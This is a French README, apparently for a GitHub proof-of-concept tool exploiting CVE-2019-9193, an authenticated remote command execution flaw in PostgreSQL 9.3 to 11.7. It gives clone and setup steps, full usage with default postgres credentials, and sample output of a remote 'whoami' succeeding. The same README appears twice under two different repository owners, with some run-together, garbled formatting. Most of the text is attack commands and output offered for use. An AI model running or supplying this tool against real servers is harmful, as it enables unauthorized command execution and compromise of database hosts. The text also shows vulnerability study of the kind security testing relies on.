
Outil PoC conçu pour exploiter une vulnérabilité authentifiée d'exécution de code à distance (RCE) dans certaines versions de PostgreSQL (9.3 - 11.7)
GenPostgresRCEExploit est un outil PoC conçu pour exploiter une vulnérabilité d'exécution de code à distance (RCE) authentifiée dans certaines versions de PostgreSQL (9.3 - 11.7). Il permet aux utilisateurs authentifiés d'exécuter des commandes système sur un serveur de base de données PostgreSQL vulnérable à CVE-2019-9193.
psycopg2 via pip)git clone https://github.com/AxthonyV/CVE-2019-9193
cd CVE-2019-9193
uv sync
python3 GenPostgresRCEExploit.py -i <target_ip> -p <port> -d <database_name> -U <username> -P <password> -c "<system_command>"
-i, --ip : adresse IP du serveur PostgreSQL (par défaut : 127.0.0.1)-p, --port : port du serveur PostgreSQL (par défaut : 5432)-d, --database : nom de la base de données PostgreSQL (par défaut : template1)-U, --user : nom d'utilisateur pour se connecter au serveur PostgreSQL (par défaut : postgres)-P, --password : mot de passe pour se connecter au serveur PostgreSQL (par défaut : postgres)-c, ---command : commande système à exécuter sur le serveur-t, --timeout : délai d'expiration de la connexion en secondes (par défaut : 10)python3 GenPostgresRCEExploit.py -i 192.168.1.10 -p 5432 -d mydb -U myuser -P mypass -c "whoami"
Cet exemple se connecte au serveur PostgreSQL à l'adresse 192.168.1.10, s'authentifie avec les identifiants fournis et exécute la commande whoami.
$ python3 GenPostgresRCEExploit.py -i 192.168.1.10 -p 5432 -d testdb -U postgres -P mypassword -c "whoami"
[+] Connection to PostgreSQL database at 192.168.1.10:5432
[+] Connection successfully established
[+] PostgreSQL version check
[+] Vulnerable PostgreSQL version detected: 10.4
[+] Temporary table creation: temp_3f8b8f9e2c9c11d7bd8f7c61d4e9eaf2
[+] Command successfully executed
postgres
Cet outil est destiné uniquement à des fins éducatives et à des tests éthiques. L'utilisation non autorisée de cet outil contre tout système est illégale et strictement interdite. Les auteurs déclinent toute responsabilité en cas de mauvaise utilisation.
GenPostgresRCEExploit est un exploit PoC conçu pour exploiter une vulnérabilité d'exécution de code à distance (RCE) dans certaines versions de PostgreSQL (9.3 - 11.7). Le programme permet aux utilisateurs authentifiés d'exécuter des commandes système sur un serveur PostgreSQL vulnérable à CVE-2019-9193.
psycopg2)git clone https://github.com/geniuszly/CVE-2019-9193
cd CVE-2019-9193
uv sync
python3 GenPostgresRCEExploit.py -i <IP address> -p <port> -d <database_name> -U <user> -P <password> -c "<system_command>"
-i, --ip : adresse IP du serveur PostgreSQL (par défaut : 127.0.0.1)-p, --port : port du serveur PostgreSQL (par défaut : 5432)-d, --database : nom de la base de données PostgreSQL (par défaut : template1)-U, --user : nom d'utilisateur pour se connecter au serveur PostgreSQL (par défaut : postgres)-P, --password : mot de passe pour se connecter au serveur PostgreSQL (par défaut : postgres)-c, --command : commande système à exécuter sur le serveur-t, --timeout : délai d'expiration de la connexion en secondes (par défaut : 10)python3 GenPostgresRCEExploit.py -i 192.168.1.10 -p 5432 -d mydb -U myuser -P mypass -c "whoami"
Dans cet exemple, le programme se connecte au serveur PostgreSQL à l'adresse 192.168.1.10, s'authentifie avec les identifiants spécifiés et exécute la commande whoami.
$ python3 GenPostgresRCEExploit.py -i 192.168.1.10 -p 5432 -d testdb -U postgres -P mypassword -c "whoami"
[+] Connection to PostgreSQL database at 192.168.1.10:5432
[+] Connection successfully established
[+] PostgreSQL version check
[+] Vulnerable PostgreSQL version detected: 10.4
[+] Temporary table creation: temp_3f8b8f9e2c9c11d7bd8f7c61d4e9eaf2
[+] Command successfully executed
postgres
Cet outil est destiné à des fins éducatives et à des tests légaux uniquement. L'utilisation non autorisée de cet outil contre tout système est illégale et strictement interdite. Les auteurs ne sont pas responsables de tout usage abusif.